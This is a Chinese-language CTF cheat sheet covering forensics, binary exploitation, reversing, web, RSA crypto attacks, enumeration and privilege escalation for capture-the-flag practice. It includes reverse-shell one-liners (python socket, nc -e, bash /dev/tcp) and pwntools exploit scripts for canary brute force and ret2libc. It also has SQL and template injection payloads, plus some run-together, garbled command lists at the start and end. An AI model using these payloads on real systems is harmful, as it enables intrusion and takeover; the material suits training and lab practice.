CTF 速查表 + 我参与过的部分安全 CTF 赛事的 Writeups/文件
一些我参加过的网络CTF的解题报告/文件
我还整理了一份 CTF 资源 列表以及一份全面的 备忘单,涵盖了大量常见的CTF挑战。
[!NOTE] 本 repo 现有一个 Web 镜像:hackback.zip
我整理了一些幻灯片:hackback.zip/presentations
20{19,20,21,22,23,24}.cr.yp.toc.tf 访问。file <file.xyz>steghide extract -sf <file.xyz>stegseek <file> <password list>binwalk -M --dd=".*" <file.xyz>exiftool <file.xyz>strings <file.xyz>hexedit <file.xyz>传真机音频:
SSTV(慢扫描电视)音频(月亮相关的东西)

频谱图图像
改变音调、速度、方向...
DTMF(双音多频)按键音
multimon-ng -a DTMF -t wav <file.wav>
磁带音频
摩尔斯电码
pngcheck <file>photorec <file.bin>.img 文件:
binwalk -M --dd=".*" <fileName>file,选择 Linux 文件系统文件。losetup /dev/loop<空闲环设备号> <文件系统文件>tcpflow -r <file.pcap>checksec <binary>rabin2 -I <binary>binary-security-check <bin>.exeseccomp-tools dump ./<binary>readelf -s <binary>rabin2 -z <binary>python -c "import pwn; print(pwn.p32(<intAddr>))"python -c "import pwn; print(pwn.p64(<intAddr>))"( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>process.interactive() 方法实现这一点。pwn cyclic <numChars> 生成载荷。dmesg | tail | grep segfault 查看错误位置。pwn cyclic -l 0x<errorLocation> 查看控制指令指针的随机偏移量。ROPgadget --ropchain --binary <binary>
gs或fs(分别适用于32位和64位)
- 在这里,栈保护值(canary)被移动到偏移量 +8 处的 `rax` 中。
- 因此,在下一个偏移量处设置断点并检查 rax 中的内容(`i r rax`),以查看当前的 canary 值。
**静态 Canary**
- 只有当程序员手动实现了 canary(在一些入门级 pwn 挑战中就是这种情况),或者你能够 fork 程序时,canary 才是静态的。
- 当你 fork 二进制文件时,fork 出来的进程拥有相同的 canary,因此你可以对其逐字节进行暴力破解。
**额外**
- 当栈保护值被不当覆盖时,会导致调用 `__stack_chk_fail`
- 如果我们无法泄露 canary,也可以通过修改 GOT 表来阻止其被调用
- Canary 存储在当前栈的 `TLS` 结构中,并由 `security_init` 初始化
- 如果你能覆盖真实的 canary 值,你可以将其设置为与你要溢出的任意值相等。
- 用于暴力破解静态 4 字节 canary 的简单脚本:
for i in range(4): for j in range(256): try: # ... (rest of script)
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
for letter in range(0,len(alphabet)): # We will go through each letter/number in the string 'alphabet'
p = elf.process() # We start the process
wait = p.recv().decode('utf-8')
p.sendline(str(32+i)) # In this program, we had to specify how many bytes we were gonna send.
wait = p.recv().decode('utf-8')
p.sendline('A'*32 + canary + alphabet[letter]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p.recv().decode('utf-8')
if "Stack" not in prompt: # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet[letter] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print("The canary is: " + canary)
```
#### 格式化字符串漏洞
- 如果你看到 "printf(buf)" 或类似情况,查看表2以了解尝试什么:
- [https://owasp.org/www-community/attacks/Format_string_attack](https://owasp.org/www-community/attacks/Format_string_attack)
- 强烈建议观看 John Hammond 做 picoCTF 2018 的 'echooo' 挑战
- 有时,像这样尝试仅从栈中打印字符串:'%s %s %s %s %s %s' 可能会导致错误,因为栈中并非所有内容都是字符串。
- 尝试改用 '%x %x %x %x %x %s' 来最小化这种错误
- 与其不断递增输入的 %x 和 %s 数量,你可以传递一个参数来简化操作:
- `%1$s` - 这将打印栈中的第一个值(据我理解,即紧邻你缓冲区的那个)作为字符串。
- `%2$s` - 这将打印第二个值作为字符串,以此类推。
- 你可以使用一行循环来尝试通过泄漏栈找到 flag。按 ^C (CTRL + C) 跳转到下一个值。
- `for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done`
- 你可以使用不同的大小参数来控制泄漏多少:
- `%hhx` 泄漏 1 字节(int 大小的一半的一半)
- `%hx` 泄漏 2 字节(int 大小的一半)
- `%x` 泄漏 4 字节(int 大小)
- `%lx` 泄漏 8 字节(long 大小)
- 关于利用 fstring 漏洞和 %n 修改栈的非常好的视频:
- [https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle](https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle)
#### Shellcode
- 查找不同 shellcode 的好网站:
- [http://shell-storm.org/shellcode/](http://shell-storm.org/shellcode/)
#### Return-to-Libc
- 我们将覆盖 EIP 以调用 system() 库函数,同时传递它应该执行的命令,本例中是一个包含 "/bin/sh" 的缓冲区。
- 很好的解释:
- [https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM](https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM)
- 很好的示例(跳转到 3:22:44):
- [https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org](https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org)
- [https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg](https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg)
- 获取 execve("/bin/sh") 的地址:
- `one_gadget <libc file>`
- 如果你已经知道 libc 文件及其位置(即不需要泄漏它们...)```python
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out[1]
p = process(f'./{binaryName}')
e = ELF(f'./{binaryName}')
l = ELF(libc_loc)
# get the address of printf from the binary output
printf_loc = int(p.recvuntil('\n').rstrip(), 16)
# get the address of printf from libc
printf_libc = l.sym['printf']
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A"*offset
payload += p64(libc_base_address + libc_execve_address)
# send the payload
p.sendline(payload)
# enter in interactive so we can use the shell created from our execve payload
p.interactive()
```
## 逆向工程
> 实用指南:[https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
- [Ghidra](https://ghidra-sre.org/)
- 非常好用的反编译器
- dotPeek 或 dnSpy
- 反编译 .NET 可执行文件
- [jadx](https://github.com/skylot/jadx) 和 jadx-gui
- 反编译 APK
- [devtoolzone](https://devtoolzone.com/decompiler/java)
- 在线反编译 Java
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
- 高级的基于终端的 Java 反编译器
- apktool
- 反编译 APK
- `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
- 二进制分析
- [peda](https://github.com/longld/peda) (增强功能的扩展)
- [gef](https://github.com/hugsy/gef) (为 pwn 爱好者准备的 gdb 扩展)
- [radare2](https://github.com/radareorg/radare2)
- 二进制分析
- [FLOSS](https://github.com/mandiant/flare-floss)
- 增强版的 `strings`。使用静态分析来查找和计算字符串
#### SMT 求解器
- [angr](https://github.com/angr/angr) (Python)
- [文档](https://docs.angr.io/core-concepts/toplevel)
- [教程](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
- [教程](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
#### 逐字节检查的逆向(侧信道攻击)
[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
- 这是我为一个使用时间攻击的挑战编写的版本:
- 你可能需要运行几次以消除随机性的影响```python
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context.log_level = 'error'
s = ''
print("*"*keyLen)
for chars in range(keyLen):
a = []
for i in string.printable:
p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
p.readline()
currPass = s + i + '0'*(keyLen - chars - 1)
# print(currPass)
p.sendline(currPass.encode())
p.readline()
p.readline()
p.readline()
info = p.readall().split(b',')[0]
p.close()
try:
a.append((float(info), i))
except:
pass
# print(float(info), i)
a.sort(key = lambda x: x[0])
s += str(a[-1][1])
print(s + "*"*(keyLen - len(s)))
# print(sorted(a, key = lambda x: x[0]))
p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()
```
#### 在 gef 中搜索字符串
- 如果你的标志在某个时刻被读入变量或寄存器,你可以在移动后中断并运行 `grep <string>`,gef 会自动显示与你的搜索模式匹配的字符串
## Web
- [Nikto](https://tools.kali.org/information-gathering/nikto)(如果允许)
- 自动寻找漏洞
- [gobuster](https://tools.kali.org/web-applications/gobuster)(如果允许)
- 暴力破解目录和文件
- [hydra](https://tools.kali.org/password-attacks/hydra)(如果允许)
- 针对各种服务暴力破解登录
- [BurpSuite](https://portswigger.net/burp)
- 拦截 Web 请求并允许你修改它们
- [Wireshark](https://www.wireshark.org/)
- 分析实时网络流量和 pcap 文件
- [php 反弹 shell](https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php)
- 对允许文件上传的网站很有用
- 此文件需要在服务器上执行才能工作
- [WPScan](http://wpscan.com)
- 扫描 WordPress 网站
- 使用 `wpscan --url <site> --plugins-detection mixed -e` 配合 API 密钥可获最佳效果
- [jwt](https://jwt.io/)
- 你可以识别 JWT 令牌,因为 base64 编码的 JSON(以及 JWT 令牌)以 "ey" 开头
- 该网站可以解码 JSON Web 令牌
- 你可以破解 JSON Web 令牌的密钥,从而修改并签署你自己的令牌
- `echo <token> > jwt.txt`
- `john jwt.txt`
- SQL 注入
- sqlmap
- `sqlmap --forms --dump-all -u <url>`
- 自动化 SQL 注入的过程
- 基本 SQL 注入
- 在登录表单中输入 `'OR 1=1--`
- 在服务器上,这将被执行为 `SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''`
- `1=1` 求值为真,满足 `OR` 条件,`--` 注释掉剩余查询
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
- 大量 Web 利用 payload 的优秀资源
- 模板注入
- [tplmap](https://github.com/epinna/tplmap)
- 自动化服务端模板注入
- Jinja 注入
- \{\{ config.items() \}\}
- Flask 注入
- \{\{ config \}\}
- Python eval() 函数
- `__import__.('subprocess').getoutput('<command>')`
- 如果不生效,请确保切换括号
- `__import__.('subprocess').getoutput('ls').split('\\n')`
- 列出系统中的文件
- [更多 Python 注入](https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1)
- 跨站脚本攻击
- [CSP 评估器](https://csp-evaluator.withgoogle.com/)
- Google 的内容安全策略评估器
### 模糊测试输入字段
- FFUF
- 将请求复制到输入字段,并用 "FUZZ" 替换参数:
- `ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all`
- 使用 `-fs` 过滤大小
## 加密
### CyberChef
- [CyberChef](https://gchq.github.io/CyberChef/)
- 执行各种密码学操作
[密码检测器](https://www.boxentriq.com/code-breaking/cipher-identifier)
### 哈希
- hashid
- 命令行工具,用于检测哈希类型
### 常见密码
- [凯撒密码](https://www.dcode.fr/caesar-cipher)
- [维吉尼亚密码](https://www.dcode.fr/vigenere-cipher)```python
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open(cipherText) as fin:
cipher = fin.readline().rstrip()
with open(plainText) as fin:
plain = fin.readline().rstrip()
with open(flagCipherText) as fin:
flag = fin.readline().rstrip()
with open(tableFile) as fin:
table = [i.rstrip().split() for i in fin.readlines()]
table[0].insert(0, "") # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i, c in enumerate(plain[0:100]):
col = table[0].index(c)
for row in range(len(table)):
if table[row][col] == cipher[i]:
key += table[row][0]
break
print(key)
dec_flag = ""
for i, c in enumerate(flag[:-1]):
col = table[0].index(key[i])
for row in range(len(table)):
if table[row][col] == flag[i]:
dec_flag += table[row][0]
break
print(dec_flag)
```
- [替换密码](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [带密钥的凯撒密码](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)
### RSA
#### 使用 pycryptodome 获取 RSA 信息```python
from Crypto.PublicKey import RSA
keyName = "example.pem"
with open(keyName,'r') as f:
key = RSA.import_key(f.read())
print(key)
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)
# public keys have n and e
```
#### 中国剩余定理 (p,q,e,c)
- 当你能够分解数字 `n` 时使用此方法
- 糟糕的实现会包含多个质因数
- [证明](https://www.di-mgt.com.au/crt_rsa.html)
- 旧版```python
def egcd(a, b):
if a == 0:
return (b, 0, 1)
g, y, x = egcd(b%a,a)
return (g, x - (b//a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('No modular inverse')
return x%m
p =
q =
e =
c =
n = p*q # use factordb command or website to find factors
phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv(e, phi) # private key
# print(d)
m = pow(c,d,n) # decrypted plaintext message in long integer form
thing = hex(m)[2:] # ascii without extra stuff at the start (0x)
print(bytes.fromhex(thing).decode('ascii'))
```
- 新```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB(n)
f.connect()
factors = f.get_factor_list()
phi = 1
for i in factors:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
```
- 提供因数和欧拉函数(phi)的网站
- [https://www.alpertron.com.ar/ECM.HTM](https://www.alpertron.com.ar/ECM.HTM)
#### Coppersmith 攻击 (c,e)
- 通常在指数非常小(e <= 5)时使用
- [证明](https://web.eecs.umich.edu/~cpeikert/lic13/lec04.pdf)```python
from Crypto.Util.number import *
def nth_root(radicand, index):
lo = 1
hi = radicand
while hi - lo > 1:
mid = (lo + hi) // 2
if mid ** index > radicand:
hi = mid
else:
lo = mid
if lo ** index == radicand:
return lo
elif hi ** index == radicand:
return hi
else:
return -1
c =
e =
plaintext = long_to_bytes(nth_root(c, e))
print(plaintext.decode("UTF-8"))
```
#### Pollards attack (n,e,c)
- 基于[Pollard分解方法](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf),如果质数乘积是(B)平滑的,则该方法使其[易于分解](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf)
- 当`p-1 | B!`且`q - 1`有一个大于`B`的因子时,符合这种情况。```python
from Crypto.Util.number import *
from math import gcd
n =
c =
e =
def pollard(n):
a = 2
b = 2
while True:
a = pow(a,b,n)
d = gcd(a-1,n)
if 1 < d < n:
return d
b += 1
p = pollard(n)
q = n // p
phi = 1
for i in [p,q]:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
```
#### Wiener Attack (n,e,c)
- 适用于当d太小(或e太大)时
- 使用 [此](https://github.com/orisano/owiener) Python模块
- [证明](https://sagi.io/crypto-classics-wieners-rsa-attack/)```python
from Crypto.Util.number import *
import owiener
n =
e =
c =
d = owiener.attack(e, n)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
```
### Base16, 32, 36, 58, 64, 85, 91, 92
[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)
## 盒子
### 连接
- ssh
- `ssh <用户名>@<IP>`
- `ssh <用户名>@<IP> -i <私钥文件>`
- 将SSH挂载为本地文件系统:
- `sshfs -p <端口> <用户>@<IP>: <挂载目录>`
- 已知主机
- `ssh-copy-id -i ~/.ssh/id_rsa.pub <用户@主机>`
- netcat
- `nc <IP> <端口>`
### 枚举
- 机器发现
- `netdiscover`
- 机器端口扫描
- `nmap -sC -sV <IP>`
- Linux枚举
- `enum4linux <IP>`
- SMB枚举
- `smbmap -H <IP>`
- 连接到SMB共享
- `smbclient //<IP>/<共享>`
### 权限提升
- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
- `./linpeas.sh`
- 自动寻找权限提升向量
- 列出可以以root身份运行的命令
- `sudo -l`
- 查找具有SUID权限的文件
- `find / -perm -u=s -type f 2>/dev/null`
- 这些文件以文件所有者的权限执行,而非执行者
- 查找所有服务的权限
- `accesschk.exe -uwcqv *`
- 查找不属于System或Administrator账户的服务
- 查询服务
- `sc qc <服务名称>`
- 仅能在cmd.exe中运行
### 监听反向Shell
- `nc -lnvp <端口>`
### 反向Shell
- revshells.com
- 提供几乎所有可能需要的模板
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<端口>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <IP> <端口>`
- `bash -i >& /dev/tcp/<IP>/<端口> 0>&1`
### 获取交互式Shell
#### Linux
1. 运行以下python命令使其部分交互:`python -c 'import pty;pty.spawn("/bin/bash");'`
2. 使用`CTRL+Z`退出netcat会话,并在本地运行`stty raw -echo`
3. 使用命令`fg`重新进入会话(如果需要,后面加上工作ID)
4. 运行`export TERM=xterm`更改终端模拟器为xterm(可能不需要)
5. 运行`export SHELL=bash`更改Shell为bash(可能不需要)
6. 完成!现在你的Shell应该是完全交互式的
#### Windows / 通用
1. 在你的系统上安装`rlwrap`
2. 现在,每次运行nc监听器时,只需在前面加上`rlwrap`
3. 例如:`rlwrap nc -lvnp 1337`
* 这会提供方向键和命令历史,但对于Windows和*nix系统不会提供自动补全(据我所知)
## OSINT
- [pimeyes](https://pimeyes.com/en)
- 在互联网上反向搜索人脸
- [OSINT Framework](https://osintframework.com/)
- 汇集大量OSINT工具的网站
- [GeoSpy AI](https://geospy.ai)
- 地理空间视觉大语言模型,仅凭一张图像即可估算位置
- [overpass turbo](https://overpass-turbo.eu)
- 可查询OpenStreetMap API并可视化结果的网站
- [Bellingcat OSM搜索](https://osm-search.bellingcat.com/)
- 可轻松查询OSM API的网站
## 杂项
- 解析DNS错误
- `dig <网站> <记录类型>`
- [记录类型列表](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
- 确保尝试TXT记录
- 以不同架构运行二进制文件
- 64位:
- `linux64 ./<二进制文件>`
- 32位:
- `linux32 ./<二进制文件>`
- 提取MS宏:
- [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- 查看CNC G代码
- [https://ncviewer.com/](https://ncviewer.com/)
ghex <file.xyz>unzip <file.docx>grep -r --text 'picoCTF{.*}'egrep -r --text 'picoCTF{.*?}ltrace ./<file>ltrace -s 100 ./<file>